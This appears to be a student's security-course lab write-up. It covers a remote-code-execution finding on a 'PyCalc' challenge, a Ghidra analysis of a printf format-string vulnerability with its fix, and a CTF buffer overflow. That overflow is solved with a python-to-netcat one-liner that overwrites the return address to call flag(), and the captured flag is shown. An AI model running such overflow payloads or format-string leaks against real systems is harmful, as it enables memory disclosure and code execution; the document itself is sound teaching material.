Exercise 2

# PyCalc

Timeline:

09/07/2023 at 14:55

Impact: Remote code execution, which opens the door to countless attacks.

Steps to reproduce:

A computer screen with white text

Description automatically generated

Summary: Testing out advanced commands gave interesting result which resulted in us getting our hands on flag.txt, a resource we shouldn’t have access to.

# PART 2

Download the binary program [https://gitlab.com/donnm/tdat3020/-/raw/master/exercise10/name](https://ntnu.blackboard.com/webapps/blackboard/content/contentWrapper.jsp?content_id=_2199857_1&displayName=Linked+File&navItem=content&attachment=true&course_id=_39982_1&tab_group=courses&href=https%3A%2F%2Fgitlab.com%2Fdonnm%2Ftdat3020%2F-%2Fraw%2Fmaster%2Fexercise10%2Fname%3Fref_type%3Dheads)

1. Open the binary in Ghidra
2. Locate the main() function
3. View the decompiled source
4. What is the vulnerability?
5. How can it be fixed?

A screenshot of a computer

Description automatically generated

A screen shot of a computer program

Description automatically generatedAs shown on the right side of the main Ghidra view, we see the decompiled source code of name.

Here's the problem:

printf(local\_28);

The printf function expects its first argument to be a format string. If this string contains format specifiers (like %s, %d, etc.), printf will expect additional arguments to fill in these specifiers. By directly passing user input (in this case, the name) as the format string, an attacker can provide their own format specifiers and potentially exploit the program in various ways.

For instance, an attacker might input %x %x %x as their name. Instead of seeing this printed back, they would see three values from the stack printed out, because the %x format specifier reads the next argument as an unsigned hex number. This can be used to leak information from the program's memory.

**How can it be fixed?**

never directly pass user input to printf as the format string. Instead, use a static format string:

printf("%s", local\_28);

## Hello CTF

This was very tough since I had no way of checking what was going on in the server’s background. The plan I had since the start was the same, to execute the flag() function but it proved troublesome since it returned with a segmentation fault when I tried it on my local pc (maybe because flag.txt is not on my pc), but it worked when I tried on netcat.

This is how I solved it. Ghidra decompiler helped a ton.

beka@PLS-no:/mnt/f/pyCalc$ (python3 -c 'print("A"\*39 + "\x92\x11\x40\x00\x00\x00\x00\x00")') | nc 10.9.8.1 5009

Input: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@

FLAG{60Be9OGOQ/BtaakFBnPghE/Bpp4wCMqR}

Segmentation fault (core dumped)

beka@PLS-no:/mnt/f/pyCalc$